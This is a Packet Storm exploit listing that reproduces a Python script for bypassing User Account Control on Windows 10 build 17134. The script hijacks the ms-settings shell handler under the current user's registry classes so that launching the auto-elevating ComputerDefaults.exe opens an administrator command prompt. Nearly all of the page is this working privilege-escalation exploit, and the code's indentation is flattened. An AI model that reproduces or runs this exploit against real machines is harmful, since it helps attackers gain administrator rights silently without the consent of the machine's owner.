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Microsoft Windows 10 UAC Bypass By computerDefault

🗓️ 22 Oct 2018 00:00:00Reported by Fabien DromasType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 55 Views

Windows 10 UAC Bypass by computerDefault, Version 10.0.17134.28

Code
`#!/usr/bin/env python  
#  
# Exploit Title: Windows 10 UAC Bypass by computerDefault  
# Date: 2018-10-18  
# Exploit Author: Fabien DROMAS - Security consultant @ Synetis <fabien.dromas[at]synetis[dot]com>  
# Twitter: st0rnpentest  
#  
# Vendor Homepage: www.microsoft.com  
# Version: Version 10.0.17134.285  
# Tested on: Windows 10 pro Version 10.0.17134.285  
#  
  
import os  
import sys  
import ctypes  
import _winreg  
  
  
def create_reg_key(key, value):  
try:   
_winreg.CreateKey(_winreg.HKEY_CURRENT_USER, 'Software\Classes\ms-settings\shell\open\command')  
registry_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, 'Software\Classes\ms-settings\shell\open\command', 0, _winreg.KEY_WRITE)   
_winreg.SetValueEx(registry_key, key, 0, _winreg.REG_SZ, value)   
_winreg.CloseKey(registry_key)  
except WindowsError:   
raise  
  
def exec_bypass_uac(cmd):  
try:  
create_reg_key('DelegateExecute', '')  
create_reg_key(None, cmd)   
except WindowsError:  
raise  
  
def bypass_uac():   
try:   
current_dir = os.path.dirname(os.path.realpath(__file__)) + '\\' + __file__  
cmd = "C:\windows\System32\cmd.exe"  
exec_bypass_uac(cmd)   
os.system(r'C:\windows\system32\ComputerDefaults.exe')   
return 1   
except WindowsError:  
sys.exit(1)   
  
if __name__ == '__main__':  
  
if bypass_uac():  
print "Enjoy your Admin Shell :)"  
`

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